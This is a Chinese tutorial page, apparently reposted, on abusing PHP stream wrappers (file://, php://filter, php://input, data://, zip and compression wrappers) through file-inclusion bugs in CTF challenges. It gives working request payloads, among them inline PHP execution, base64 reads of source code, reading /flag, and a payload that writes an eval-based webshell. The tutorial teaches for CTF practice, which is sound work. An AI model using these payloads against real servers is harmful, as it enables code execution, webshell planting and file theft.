返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >怎么使用php伪协议实现命令执行
  • 402
分享到

怎么使用php伪协议实现命令执行

2023-07-02 08:07:39 402人浏览 独家记忆
摘要

今天小编给大家分享一下怎么使用PHP伪协议实现命令执行的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。1.file://协议条

今天小编给大家分享一下怎么使用PHP伪协议实现命令执行的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。

1.file://协议

条件:

allow_url_fopen : off/onallow_url_include: off/on

作用:

用于访问本地文件系统,在ctf中通常用来读取本地文件

include() / require() / include_once() / require_once() 参数可控的情况下,即使导入非.php文件,如shell.txt ,依然按照php语法进行解析,这是include()函数所决定的

说明:

file:// 文件系统是php使用的默认封装协议,用于展示本地文件系统。

用法:

/path/to/file.extrelative/path/to/file.extfileInCwd.extC:/path/to/winfile.extC:\path\to\winfile.ext\\smbserver\share\path\to\winfile.extfile:///path/to/file.ext

示例:

1.file://[文件的绝对路径和文件名]

Http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

2.file://[文件的相对路径和文件名]

http://127.0.0.1/include.php?file=./phpinfo.txt

3.http://网络位置和文件名

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

2.php://协议

条件:

allow_url_open : off/onallow_url_include: 仅 php://input  php://stdin php://memory php://temp 需要on

作用:

php:// 访问各个输入/输出流 (I/O streams), 在ctf中经常使用的是 php://filter 和 php://input

php://filter 用于读取源码php://input 用于执行php代码

说明:

php提供了一些杂项输入/输出(io)流,允许访问 PHP 的输入输出流,标准输入输出流和错误描述符:

怎么使用php伪协议实现命令执行

php://filter使用:

php://filter/read=convert.base64-encode/resource=[文件名]

php://input的使用:

http://127.0.0.1/include.php?file=php://input
 [POST DATA部分]<?php phpinfo(); ?>

写入一句话

http://127.0.0.1/include.php?file=php://input[POST DATA部分]<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

3.data://协议

作用:

php>=5.2.0 , 可以使用data://数据流封装器,以传递相应格式的数据。通常用来执行php代码

用法:

data://text/plain, ???

如:

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

4.zip:// & bzip:// & zlib:// 协议

作用:

zip:// & bzip:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀名,如 jpg,png,gif,xxx等

示例:

1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件文件名](# 的编码为 %23)

压缩 phpinfo.txt 为phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2

压缩phpinfo.txt 为phpinfo.bz2 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz

压缩phpinfo.txt 为phpinfo.gz 并上传(支持任意后缀名)

http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

总结

在ctf中常用的有data:// , php://input , php://filter ,file://

php://input ,data://用来执行命令1.php://input 的用法http://127.0.0.1/include.php?file=php://input[POST DATA部分]<?php phpinfo(); ?>2.data://用法http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>php://filter,file://用来读取文件3.php://filter用法http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php(读取php文件需要先加密以下才能读出来)http://127.0.0.1/include.php?file=php://filter/resource=/flag4.file://用法http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

以上就是“怎么使用php伪协议实现命令执行”这篇文章的所有内容,感谢各位的阅读!相信大家阅读完这篇文章都有很大的收获,小编每天都会为大家更新不同的知识,如果还想学习更多的知识,请关注编程网PHP编程频道。

--结束END--

本文标题: 怎么使用php伪协议实现命令执行

本文链接: https://lsjlt.com/news/340662.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 怎么使用php伪协议实现命令执行
    今天小编给大家分享一下怎么使用php伪协议实现命令执行的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。1.file://协议条...
    99+
    2023-07-02
  • php伪协议实现命令执行详情
    目录1.file://协议2.php://协议3.data://协议4.zip:// & bzip:// & zlib:// 协议总结1.file://协议 条件: ...
    99+
    2024-04-02
  • php伪协议实现命令执行,任意文件读取
    参考链接:PHP伪协议总结 - SegmentFault 思否 目录 1.file://协议 条件: 作用: 说明: 用法 示例: 2.php://协议 条件 作用: 说明  php://filter使用 php://input的使用 3...
    99+
    2023-09-06
    php 开发语言
  • 【PHP伪协议】源码读取、文件读写、任意php命令执行
    目录 一、简介 1.1、概述: 1.2、12个php支持的伪协议 1.3、前提: 二、示例 2.1、file://  前提: 用法: 2.2、php:// 协议 前提: php://input php://filter 2.3、data:/...
    99+
    2023-09-23
    php web安全
  • 使用命令行怎么执行PHP代码
    这篇文章将为大家详细讲解有关使用命令行怎么执行PHP代码,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。Windows 用户的 PHP 安装:按照步骤在 Windows 操作系统上安装 PHP...
    99+
    2023-06-15
  • ubantu怎么执行命令实现php安装
    本文操作环境:ubuntu 16.04系统、PHP5版、DELL G3电脑在ubuntu中安装php: 关于Ubuntu下的LAMP配置步骤:首先要安装LAMP 就是Apache,PHP5,Mysql5.打开终端,输入命令行。安装 Apac...
    99+
    2019-04-03
    ubantu php
  • 文件包含及PHP伪协议怎么用
    今天小编给大家分享一下文件包含及PHP伪协议怎么用的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。文件包含文件包含漏洞是“代码...
    99+
    2023-06-30
  • plsql命令行执行sql文件怎么实现
    要在PL/SQL命令行中执行SQL文件,可以按照以下步骤操作: 打开命令行窗口,并进入到PL/SQL的安装目录下。 使用以下...
    99+
    2024-04-09
    plsql
  • ubantu如何执行命令实现php安装
    这篇文章主要讲解了“ubantu如何执行命令实现php安装”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“ubantu如何执行命令实现php安装”吧!ubantu执行命令实现php安装的方法:...
    99+
    2023-06-25
  • 怎么使用golang执行Linux shell命令
    这篇文章主要讲解了“怎么使用golang执行Linux shell命令”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“怎么使用golang执行Linux shell命令”吧...
    99+
    2023-07-02
  • 使用php怎么实现一个命令行模式
    使用php怎么实现一个命令行模式?很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。php全集行模式,即php-cli,官方文档中称为: CLI SAPI(Serve...
    99+
    2023-06-06
  • php无法执行mysql命令行怎么解决
    这篇文章主要讲解了“php无法执行mysql命令行怎么解决”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“php无法执行mysql命令行怎么解决”吧!如果你在 PHP 程序里面尝试运行 MyS...
    99+
    2023-07-05
  • 怎么使用pv命令监控Linux命令的执行进度
    小编给大家分享一下怎么使用pv命令监控Linux命令的执行进度,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!PV 命令PV 由Andrew Wood 开发,是 P...
    99+
    2023-06-16
  • 怎么使用shell脚本执行命令实现自动填充密码
    这篇文章主要介绍“怎么使用shell脚本执行命令实现自动填充密码”,在日常操作中,相信很多人在怎么使用shell脚本执行命令实现自动填充密码问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”怎么使用shell脚本...
    99+
    2023-07-05
  • PHP常用命令执行函数是什么
    这篇文章主要介绍“PHP常用命令执行函数是什么”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“PHP常用命令执行函数是什么”文章能帮助大家解决问题。PHP命令执行函数常配合代码执行漏洞使用, 利用命令...
    99+
    2023-06-30
  • Saltstack远程执行命令怎么用
    这篇文章给大家分享的是有关Saltstack远程执行命令怎么用的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。命令命令格式:salt '<操作目标>' <方法&...
    99+
    2023-06-05
  • 怎么用命令执行Shell脚本
    本篇内容主要讲解“怎么用命令执行Shell脚本”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“怎么用命令执行Shell脚本”吧!假设这个 shell 脚本的名称为 tinyshell.sh。在 L...
    99+
    2023-06-09
  • Golang怎么应用执行Shell命令
    今天小编给大家分享一下Golang怎么应用执行Shell命令的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。exec包使用官方...
    99+
    2023-07-05
  • 如何在Windows中使用PHP执行系统命令?
    在Windows操作系统中,使用PHP执行系统命令可以帮助我们完成各种任务,例如批量操作文件、自动备份等等。但是,由于Windows与Linux操作系统的命令行语法不同,所以在Windows中执行系统命令需要一些不同的技巧。在本文中,我们将...
    99+
    2023-07-01
    path windows shell
  • PHP中如何使用数组来执行Shell命令?
    在PHP中,我们可以使用系统函数来执行Shell命令。使用Shell命令可以让我们在PHP中执行一些系统级别的操作,例如创建文件、运行脚本等等。在本文中,我们将介绍如何使用数组来执行Shell命令,以及其优点和注意事项。 首先,我们需要了...
    99+
    2023-08-25
    数组 shell laravel
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作